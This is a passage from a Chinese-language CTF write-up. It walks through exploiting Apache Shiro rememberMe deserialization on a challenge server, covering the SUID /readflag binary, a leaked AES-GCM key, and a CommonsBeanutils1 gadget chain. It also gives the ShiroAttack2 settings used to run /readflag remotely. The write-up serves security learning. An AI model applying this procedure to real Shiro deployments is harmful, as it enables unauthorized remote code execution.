继续看:dockerfile chmod 4755 /readflag
这里的4755中最前面的4,表示给/readflag设置了 SUID 权限,会临时以文件所有者的权限运行。所以app用户执行/readflag时,就可以借助 SUID 权限读取/flag。
因此后面 RCE 的最终命令不应该写成:bash cat /flag
而应该写成:bash /readflag
- 生成 rememberMe payload
前面已经确定了几个条件:txt 1. ShiroConfig.java 中启用了 CookieRememberMeManager。 2. heapdump 中提取到了 rememberMe 的 AES key。 3. JDumpSpider 提示 algMode = GCM。 4. BOOT-INF/lib 中存在 commons-beanutils / commons-collections 依赖。 5. Dockerfile 中确认不能直接 cat /flag,最终应该执行 /readflag。
所以现在的利用思路就是:txt 用 gadget 链生成恶意序列化数据 ↓ 用 Shiro AES key 加密 ↓ 生成 rememberMe cookie ↓ 把 cookie 带给目标 ↓ Shiro 解密并反序列化 ↓ 触发命令执行
这里没有选择单独用ysoserial,而是使用ShiroAttack。
原因是ysoserial本身主要负责生成 Java 反序列化 payload,它生成出来的是原始序列化数据,不会自动帮我们处理 Shiro 的 rememberMe 加密格式。
但是 Shiro rememberMe 利用需要的不只是 gadget payload,还需要:txt 序列化 payload ↓ AES-GCM 加密 ↓ Base64 编码 ↓ 放进 rememberMe cookie
也就是说,单独用 ysoserial 的话,还要自己写脚本处理 Shiro 的加密和 cookie 生成,而 ShiroAttack 已经把这些流程集成好了。
去 https://github.com/SummerSec/ShiroAttack2 下载并启动 ShiroAttack,记得要用 Java 8。
界面这样填:txt 目标地址:http://docker.qingcen.net:32960/login 关键字:rememberMe 指定密钥:lewXTrPKeO1lIkIMeg4GvA== AES GCM:勾选 填好后点检测当前密钥,日志里出现“找到key:lewXTrPKeO1lIkIMeg4GvA==”。 利用链:commonsBeanutils1 回显方式:TomcatEcho 填好后点爆破利用链及回显,日志里出现“发现构造链:CommonsBeanutils1 回显方式: AllEcho”。 命令执行:/readflag 点击执行后得到 flag


评论区
评论加载中...